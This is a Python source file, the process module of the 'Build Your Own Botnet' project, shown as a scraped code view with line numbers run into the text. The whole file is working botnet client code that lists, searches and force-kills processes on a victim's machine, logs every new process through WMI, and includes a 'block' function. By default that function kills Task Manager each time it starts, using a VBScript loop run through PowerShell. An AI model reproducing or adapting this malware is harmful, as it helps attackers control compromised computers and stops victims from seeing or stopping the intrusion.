Path: blob/master/web-gui/buildyourownbotnet/modules/process.py
1292 views
#!/usr/bin/python1# -*- coding: utf-8 -*-2'Process Utilities (Build Your Own Botnet)'34# standard libarary5import os6import json7import time8import string9import threading1011try:12from StringIO import StringIO # Python 213except ImportError:14from io import StringIO # Python 31516# utilities17import util1819# globals20packages = ['wmi','pythoncom'] if os.name == 'nt' else []21platforms = ['win32','linux2','darwin']22usage = 'process <list/search/kill>'23description = """24List/search/kill currently running processes on the client host machine25"""26log = StringIO()27template_block = string.Template("""On Error Resume Next28Set objWshShl = WScript.CreateObject("WScript.Shell")29Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!//./root/cimv2")30Set colMonitoredProcesses = objWMIService.ExecNotificationQuery("select * from __instancecreationevent " & " within 1 where TargetInstance isa 'Win32_Process'")31Do32Set objLatestProcess = colMonitoredProcesses.NextEvent33If objLatestProcess.TargetInstance.Name = "${PROCESS}" Then34objLatestProcess.TargetInstance.Terminate35End If36Loop""")3738# main39def _monitor(keyword):40if os.name != 'nt':41return "Error: Windows platforms only"42try:43import wmi44import pythoncom45pythoncom.CoInitialize()46c = wmi.WMI()47if not len(globals()['log'].getvalue()):48globals()['log'].write('Time, Owner, Executable, PID, Parent\n')49process_watcher = c.Win32_Process.watch_for("creation")50while True:51try:52new_process = process_watcher()53proc_owner = new_process.GetOwner()54proc_owner = "%s\\%s" % (proc_owner[0], proc_owner[2])55create_date = new_process.CreationDate56executable = new_process.ExecutablePath57pid = new_process.ProcessId58parent_pid = new_process.ParentProcessId59row = '"%s", "%s", "%s", "%s", "%s"\n' % (create_date, proc_owner, executable, pid, parent_pid)60if keyword in row:61globals()['log'].write(row)62except Exception as e1:63return "{} error: {}".format(monitor.__name__, str(e1))64if globals()['_abort']:65break66except Exception as e2:67return "{} error: {}".format(monitor.__name__, str(e2))6869def list(*args, **kwargs):70"""71List currently running processes7273Returns process list as a dictionary (JSON) object7475"""76try:77output = {}78for i in os.popen('tasklist' if os.name == 'nt' else 'ps').read().splitlines()[3:]:79pid = i.split()[1 if os.name == 'nt' else 0]80exe = i.split()[0 if os.name == 'nt' else -1]81if exe not in output:82if len(json.dumps(output)) < 48000:83output.update({pid: exe})84else:85break86return json.dumps(output)87except Exception as e:88return "{} error: {}".format(list.__name__, str(e))8990def search(keyword):91"""92Search currently running processes for a keyword9394`Required`95:param str keyword: keyword to search for9697Returns process list as dictionary (JSON) object9899"""100try:101if not isinstance(keyword, str) or not len(keyword):102return "usage: process search [PID/name]"103output = {}104for i in os.popen('tasklist' if os.name == 'nt' else 'ps').read().splitlines()[3:]:105pid = i.split()[1 if os.name == 'nt' else 0]106exe = i.split()[0 if os.name == 'nt' else -1]107if keyword in exe:108if len(json.dumps(output)) < 48000:109output.update({pid: exe})110else:111break112return json.dumps(output)113except Exception as e:114return "{} error: {}".format(search.__name__, str(e))115116def kill(process_id):117"""118Kill a running process with a given PID119120`Required`121:param int pid: PID of process122123Returns killed process list as dictionary (JSON) object124"""125try:126output = {}127for i in os.popen('tasklist' if os.name == 'nt' else 'ps').read().splitlines()[3:]:128pid = i.split()[1 if os.name == 'nt' else 0]129exe = i.split()[0 if os.name == 'nt' else -1]130if str(process_id).isdigit() and int(process_id) == int(pid):131try:132_ = os.popen('taskkill /pid %s /f' % pid if os.name == 'nt' else 'kill -9 %s' % pid).read()133output.update({process_id: "killed"})134except:135output.update({process_id: "not found"})136else:137try:138_ = os.popen('taskkill /im %s /f' % exe if os.name == 'nt' else 'kill -9 %s' % exe).read()139output.update({exe: "killed"})140except Exception as e:141return str(e)142return json.dumps(output)143except Exception as e:144return "{} error: {}".format(kill.__name__, str(e))145146def monitor(keyword):147"""148Monitor the host machine for process creation with the given keyword in the name149150`Required`151:param str keyword: process name/keyword152153"""154t = threading.Thread(target=_monitor, args=(keyword,), name=time.time())155t.daemon = True156t.start()157return t158159def block(process_name='taskmgr.exe'):160"""161Block a process from running by immediately killing it every time it spawns162163`Optional`164:param str process_name: process name to block (default: taskmgr.exe)165166"""167global template_block168try:169code = template_block.substitute(PROCESS=process_name)170_ = util.powershell(code)171return "Process {} blocked".format(process_name)172except Exception as e:173return "{} error: {}".format(block.__name__, str(e))174175176